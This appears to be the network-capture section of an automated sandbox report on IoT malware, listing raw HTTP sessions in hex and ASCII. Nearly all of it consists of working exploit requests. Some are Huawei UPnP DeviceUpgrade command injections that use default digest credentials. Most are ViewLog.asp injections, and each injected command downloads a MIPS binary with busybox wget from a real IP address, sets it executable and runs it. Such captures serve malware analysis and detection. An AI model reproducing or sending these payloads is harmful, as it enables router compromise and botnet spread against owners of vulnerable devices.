                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:38.264678955 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:53.624279976 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                544192.168.2.156026631.136.48.238080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:26.389302969 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:29.560920954 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:35.704827070 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.736473083 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.799791098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                545192.168.2.154741694.122.83.1798080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:26.421282053 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                546192.168.2.153662694.120.101.1508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:26.434256077 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                547192.168.2.153791495.209.135.368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:26.454678059 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                548192.168.2.154219862.150.216.428080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:26.476960897 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:26.750725031 CET167INHTTP/1.1 400 Bad Request
                                                Connection: close
                                                Content-Type: text/plain
                                                Transfer-Encoding: chunked


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                549192.168.2.154826831.192.111.78080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:26.629148960 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:26.837629080 CET784INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 04:22:26 GMT
                                                Server: Apache/2.2.14 (FreeBSD) PHP/5.2.17 mod_ssl/2.2.14 OpenSSL/0.9.8k
                                                Vary: accept-language,accept-charset
                                                Content-Length: 458
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 34 20 28 46 72 65 65 42 53 44 29 20 50 48 50 2f 35 2e 32 2e 31 37 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 2e 31 34 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e 38 6b 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.2.14 (FreeBSD) PHP/5.2.17 mod_ssl/2.2.14 OpenSSL/0.9.8k Server at 192.168.0.14 Port 80</address></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                550192.168.2.154774231.136.109.2088080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:26.766519070 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:27.352998018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:28.472942114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:30.840925932 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:35.448793888 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.408541918 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
